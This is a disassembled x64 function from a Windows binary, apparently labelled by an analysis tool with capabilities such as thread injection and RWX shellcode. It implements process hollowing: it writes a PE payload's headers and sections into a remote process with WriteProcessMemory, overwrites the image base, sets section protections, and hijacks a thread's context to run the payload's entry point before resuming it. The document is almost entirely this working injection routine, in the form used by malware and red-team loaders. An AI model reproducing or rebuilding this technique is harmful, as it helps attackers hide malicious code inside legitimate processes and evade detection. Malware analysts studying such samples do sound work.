Function at 0x140001580
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate pe sections
Inject thread
Inspect section memory permissions
Resume thread
Spawn thread to rwx shellcode

Disassembly:
mov r11, rsp
push rbp
push r15
lea rbp, [r11 - 0x478]
sub rsp, 0x568
mov rax, qword [0x140005040]
xor rax, rsp
mov qword [rbp + 0x440], rax
mov r15, rcx
test rcx, rcx
je 0x140001c66
xorps xmm0, xmm0
mov qword [r11 + 0x18], rsi
xor esi, esi
mov qword [r11 - 0x20], r13
mov qword [r11 + 0x10], rbx
lea rcx, [rbp + 0x110]
xor eax, eax
mov qword [r11 + 0x20], rdi
xor edx, edx
mov qword [r11 - 0x18], r12
mov r8d, 0x100
mov qword [rsp + 0x40], rax
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], rsi
mov qword [rbp - 0x80], rsi
mov qword [rbp - 0x78], rsi
mov qword [rbp - 0x70], rsi
mov qword [rbp - 0x68], rsi
mov qword [rbp - 0x60], 0x10001f
mov qword [rbp - 0x58], rsi
mov qword [rbp - 0x50], rsi
mov qword [rbp - 0x48], rsi
mov qword [rbp - 0x40], rsi
mov qword [rbp - 0x38], rsi
mov qword [rbp - 0x30], rsi
mov qword [rbp - 0x28], rsi
mov qword [rbp - 0x20], rsi
mov qword [rbp - 0x18], rsi
mov qword [rbp - 0x10], rsi
mov qword [rbp - 8], rsi
mov qword [rbp], rsi
mov qword [rbp + 8], rsi
mov qword [rbp + 0x10], rsi
mov qword [rbp + 0x18], rsi
mov qword [rbp + 0x20], rsi
mov qword [rbp + 0x28], rsi
mov qword [rbp + 0x30], rsi
mov qword [rbp + 0x38], rsi
mov qword [rbp + 0x40], rsi
mov qword [rbp + 0x48], rsi
mov qword [rbp + 0x50], rsi
mov qword [rbp + 0x58], rsi
mov qword [rbp + 0x60], rsi
mov qword [rbp + 0x68], rsi
mov dword [rbp + 0x70], esi
mov qword [rbp + 0x74], rax
mov qword [rbp + 0x7c], rsi
mov qword [rbp + 0x84], rsi
mov dword [rbp + 0x8c], esi
movups xmmword [rbp + 0x90], xmm0
movups xmmword [rbp + 0xa0], xmm0
movups xmmword [rbp + 0xb0], xmm0
movups xmmword [rbp + 0xc0], xmm0
movups xmmword [rbp + 0xd0], xmm0
movups xmmword [rbp + 0xe0], xmm0
movups xmmword [rbp + 0xf0], xmm0
movups xmmword [rbp + 0x100], xmm0
call fcn.140001000
xorps xmm0, xmm0
lea rcx, [rbp + 0x270]
xor edx, edx
mov r8d, 0x1a0
movups xmmword [rbp + 0x210], xmm0
movups xmmword [rbp + 0x220], xmm0
movups xmmword [rbp + 0x230], xmm0
movups xmmword [rbp + 0x240], xmm0
movups xmmword [rbp + 0x250], xmm0
movups xmmword [rbp + 0x260], xmm0
call fcn.140001000
lea rax, [rsp + 0x50]
mov qword [rbp + 0x410], rsi
mov qword [rbp + 0x418], rsi
mov r13d, esi
mov qword [rbp + 0x420], rsi
mov qword [rbp + 0x428], rsi
mov qword [rbp + 0x430], rsi
mov qword [rbp + 0x438], rsi
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x60], rsi
lea r9, [rsp + 0x48]
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x30]
call fcn.140001100
test eax, eax
je 0x140001bd6
cmp qword [rsp + 0x30], rsi
je 0x140001bd6
cmp qword [rsp + 0x38], rsi
je 0x140001bd6
lea rcx, str._i__Press__Enter__To_Continue...
call fcn.140001040
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
movsxd rsi, dword [r15 + 0x3c]
add rsi, r15
cmp dword [rsi], 0x4550
je 0x1400017a8
lea rcx, str.____Invalid_NT_Image_Headers_n
call fcn.140001040
xor esi, esi
jmp 0x140001bd6
mov r8d, dword [rsi + 0x50]
mov r9d, 0x3000
mov rdx, qword [rsi + 0x30]
mov rcx, qword [rsp + 0x30]
mov qword [rsp + 0x550], r14
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r14, rax
test rax, rax
jne 0x1400017eb
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, [0x1400034d8]
jmp 0x140001bbd
mov rdx, r14
lea rcx, str.___Remote_Image_Base_Address:_0x_p_n
call fcn.140001040
mov rdx, qword [rsi + 0x30]
lea rcx, str._i__Preferable_Base_Address:_0x_p_n
call fcn.140001040
cmp r14, qword [rsi + 0x30]
je 0x140001821
lea rcx, str.____PE_Payload_Will_Require_Relocation____NOT_SUPPORTED__n
call fcn.140001040
jmp 0x140001bcc
lea rcx, str._i__Press__Enter__To_Write_The_PE_Payload_...
call fcn.140001040
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
mov r9d, dword [rsi + 0x54]
lea rax, [rsp + 0x60]
mov rcx, qword [rsp + 0x30]
mov r8, r15
mov rdx, r14
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140001bb0
mov r8d, dword [rsi + 0x54]
cmp r8, qword [rsp + 0x60]
jne 0x140001bb0
mov rdx, r14
lea rcx, str.___Wrote_Headers_At__p_Of_Size__d__n
call fcn.140001040
lea rcx, str._i__Writing_Sections_...__n
call fcn.140001040
movzx r12d, word [rsi + 0x14]
xor eax, eax
add r12, 0x18
mov edi, eax
add r12, rsi
cmp ax, word [rsi + 6]
jae 0x140001909
lea rbx, [r12 + 0x10]
nop
mov r8d, dword [rbx - 4]
mov r9d, dword [rbx]
add r8, r14
movsxd rax, edi
lea rcx, [rax + rax*4]
lea rdx, [r12 + rcx*8]
lea rcx, str._t_i__Writing_Section__s_At__p_Of_Size__d__n
call fcn.140001040
mov r8d, dword [rbx + 4]
lea rax, [rsp + 0x60]
mov edx, dword [rbx - 4]
add r8, r15
mov r9d, dword [rbx]
add rdx, r14
mov rcx, qword [rsp + 0x30]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140001bb0
mov eax, dword [rbx]
cmp rax, qword [rsp + 0x60]
jne 0x140001bb0
movzx eax, word [rsi + 6]
inc edi
add rbx, 0x28
cmp edi, eax
jl 0x1400018a0
mov rcx, qword [rsp + 0x38]
lea rdx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
jne 0x14000192f
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, [0x140003620]
jmp 0x140001bbd
mov rdi, qword [rsp + 0x30]
lea rcx, str._i__Overwriting_Image_Base_Address_...
mov rbx, qword [rbp - 8]
xor r15d, r15d
mov qword [rsp + 0x58], r15
mov qword [rsp + 0x68], r14
call fcn.140001040
lea rax, [rsp + 0x58]
mov rcx, rdi
lea r9d, [r15 + 8]
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x68]
lea rdx, [rbx + 0x10]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140001bb0
cmp qword [rsp + 0x58], 8
jne 0x140001bb0
lea rcx, str.___DONE__n
call fcn.140001040
mov ebx, r15d
mov rdi, qword [rsp + 0x30]
cmp r15w, word [rsi + 6]
jae 0x140001a7c
lea r10d, [r15 + 2]
lea r11d, [r15 + 0x10]
nop dword [rax]
mov eax, ebx
mov dword [rsp + 0x58], r15d
lea rcx, [rax + rax*4]
mov r8d, dword [r12 + rcx*8 + 0x10]
test r8d, r8d
je 0x140001a6e
mov edx, dword [r12 + rcx*8 + 0xc]
test edx, edx
je 0x140001a6e
mov ecx, dword [r12 + rcx*8 + 0x24]
mov eax, ecx
mov r9d, ecx
sar r9d, 0x1f
and r9d, 8
bt ecx, 0x1e
cmovb r9d, r10d
and eax, 0xc0000000
cmp eax, 0xc0000000
mov eax, 4
cmove r9d, eax
bt ecx, 0x1d
mov eax, ecx
cmovb r9d, r11d
and eax, 0xa0000000
cmp eax, 0xa0000000
mov eax, 0x80
cmove r9d, eax
mov eax, ecx
and eax, 0x60000000
cmp eax, 0x60000000
mov eax, 0x20
cmove r9d, eax
and ecx, 0xe0000000
cmp ecx, 0xe0000000
mov eax, 0x40
mov rcx, rdi
cmove r9d, eax
lea rax, [rsp + 0x58]
add rdx, r14
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x140001ad0
mov r10d, 2
lea r11d, [r10 + 0xe]
movzx eax, word [rsi + 6]
inc ebx
cmp ebx, eax
jb 0x1400019b0
lea rcx, str._i__Press__Enter__To_Execute_The_Entry_Payload_...
call fcn.140001040
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
mov edx, dword [rsi + 0x28]
lea rcx, str._i__Hijacking_Thread_To_Run_EntryPoint:__p_...
add rdx, r14
call fcn.140001040
mov eax, dword [rsi + 0x28]
lea rdx, [rsp + 0x70]
mov rcx, qword [rsp + 0x38]
add rax, r14
mov qword [rbp - 0x10], rax
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x140001ae2
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, [0x1400036a0]
jmp 0x140001bbd
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, [0x1400033b0]
jmp 0x140001bbd
lea rcx, str.___DONE_n
call fcn.140001040
xor esi, esi
lea r9, [rsp + 0x50]
mov qword [rsp + 0x28], rsi
lea r8, [0x1400013d0]
xor edx, edx
mov dword [rsp + 0x20], esi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea r9, [rsp + 0x48]
mov qword [rsp + 0x28], rsi
lea r8, [0x1400014a0]
mov dword [rsp + 0x20], esi
xor edx, edx
xor ecx, ecx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
test rdi, rdi
je 0x140001ba2
test rax, rax
je 0x140001ba2
lea rcx, str._i__Press__Enter__To_Resume_The_Process_...
call fcn.140001040
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
jne 0x140001b7e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, [0x140003720]
lea rcx, str._____s_Failed_With_Error:__d_n
call fcn.140001040
jmp 0x140001bce
mov edx, 0xffffffff
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov r13d, 1
jmp 0x140001bce
lea rcx, str.____Failed_to_create_I_O_threads_n
call fcn.140001040
jmp 0x140001bce
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, [0x140003468]
mov r8d, eax
lea rcx, str._____s_Failed_With_Error:__d_n
call fcn.140001040
xor esi, esi
mov r14, qword [rsp + 0x550]
mov rcx, qword [rsp + 0x48]
mov r12, qword [rsp + 0x560]
mov rdi, qword [rsp + 0x598]
mov rbx, qword [rsp + 0x588]
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x140001c08
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x48], rsi
mov rcx, qword [rsp + 0x50]
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x140001c22
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x50], rsi
mov rcx, qword [rsp + 0x30]
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x140001c3c
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x30], rsi
mov rcx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x590]
lea rdx, [rcx - 1]
cmp rdx, 0xfffffffffffffffd
ja 0x140001c59
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, r13d
mov r13, qword [rsp + 0x558]
jmp 0x140001c68
xor eax, eax
mov rcx, qword [rbp + 0x440]
xor rcx, rsp
call fcn.140001e80
add rsp, 0x568
pop r15
pop rbp
ret